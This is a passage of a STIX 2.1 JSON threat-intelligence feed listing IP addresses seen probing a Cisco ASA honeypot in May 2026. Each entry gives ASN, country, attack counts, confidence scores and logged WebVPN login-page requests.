      "valid_from": "2026-05-30T08:20:10.000Z",
      "valid_until": "2026-07-01T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T07:34:51.352Z",
          "last_seen": "2026-05-30T07:35:06.155Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e03ef5dd-59e7-4e79-bed2-df16bb5c630a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.170.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:20:10.000Z",
      "valid_until": "2026-07-01T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T08:11:56.818Z",
          "last_seen": "2026-05-30T08:12:09.436Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--52e9ba0f-07d8-481a-bf0a-2d6ab877a18b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.94.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:20:10.000Z",
      "valid_until": "2026-07-01T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T08:01:48.652Z",
          "last_seen": "2026-05-30T08:01:59.762Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3bcf2f72-99a9-4413-b8af-2fb4bdc0295c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:20:10.000Z",
      "valid_until": "2026-07-01T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-21T00:26:56.819Z",
          "last_seen": "2026-05-30T08:10:27.108Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--eb2b9e01-bda1-4db0-aca2-ced84d9f2875",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.125.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:20:11.000Z",
      "valid_until": "2026-07-01T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T08:22:31.368Z",
          "last_seen": "2026-05-30T08:22:44.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--38d41a8d-0b6e-4247-a032-48f41b5ac686",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.233.100.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:20:11.000Z",
      "valid_until": "2026-07-01T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T09:15:20.008Z",
          "last_seen": "2026-05-30T09:15:35.900Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a1342b13-576b-4996-8115-c7bdd3f17e34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.252.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:20:11.000Z",
      "valid_until": "2026-07-01T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T08:53:24.024Z",
          "last_seen": "2026-05-30T08:53:34.985Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b1e5f6eb-3912-4dd7-95fd-68d82bf35492",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.246.125.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:20:11.000Z",
      "valid_until": "2026-07-01T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-28T01:53:27.864Z",
          "last_seen": "2026-05-30T09:17:52.576Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--733c0700-0d7e-4503-8af3-e5f6db29394d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.149.82.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T09:20:11.000Z",
      "valid_until": "2026-07-01T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T09:19:13.284Z",
          "last_seen": "2026-05-30T09:19:26.336Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f5133955-d377-40dc-8753-322c28da7e39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.158.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:20:10.000Z",
      "valid_until": "2026-07-01T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T10:03:16.547Z",
          "last_seen": "2026-05-30T10:03:28.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--01c6cbec-844a-4e42-84b1-22d0792777ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.52.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:20:10.000Z",
      "valid_until": "2026-07-01T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T09:25:13.288Z",
          "last_seen": "2026-05-30T09:25:29.107Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--de3f42a1-41b5-4215-85c3-0fb63defaaf8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.246.127.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:20:10.000Z",
      "valid_until": "2026-07-01T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T09:23:32.502Z",
          "last_seen": "2026-05-30T09:23:46.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--f90eeaea-3730-4543-8458-ca25570626be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.21.92.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:20:10.000Z",
      "valid_until": "2026-07-01T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-30T09:20:44.061Z",
          "last_seen": "2026-05-30T09:20:47.062Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--57d0ebec-41d7-46e4-892a-2ca256cd5e8e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.130.186.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T10:20:10.000Z",
      "valid_until": "2026-07-01T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T09:55:09.227Z",
          "last_seen": "2026-05-30T09:55:23.130Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dda744b1-6626-4e59-8063-85a0ce654081",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.124.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:20:05.000Z",
      "valid_until": "2026-07-01T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T11:16:55.057Z",
          "last_seen": "2026-05-30T11:17:09.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--35d16f6e-7ebf-4143-a94d-23f8f3591c19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.242.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:20:05.000Z",
      "valid_until": "2026-07-01T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-30T11:05:22.088Z",
          "last_seen": "2026-05-30T13:58:33.519Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--4c2f7931-cf6b-42e2-9405-7d623a99acdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.176.23.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:20:05.000Z",
      "valid_until": "2026-07-01T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T10:51:47.058Z",
          "last_seen": "2026-05-30T10:51:57.691Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /showLogin.cc HTTP/1.1\" 404 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--c70adfbc-01dc-4406-9a18-e6672dda4477",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:20:05.000Z",
      "valid_until": "2026-07-01T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-30T10:48:01.671Z",
          "last_seen": "2026-05-30T10:48:04.674Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET /showLogin.cc HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--9612eb6b-73d7-4523-9a97-315797f5b86c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T11:20:05.000Z",
      "valid_until": "2026-07-01T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-30T10:47:34.874Z",
          "last_seen": "2026-05-30T10:47:37.878Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--06da46b6-f43e-498a-a1b1-4b44494eff71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.218.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T12:20:10.000Z",
      "valid_until": "2026-07-01T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T11:53:20.203Z",
          "last_seen": "2026-05-30T11:53:35.631Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--c04c0a5f-2b4d-44b9-8c30-6e46840a0ce2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
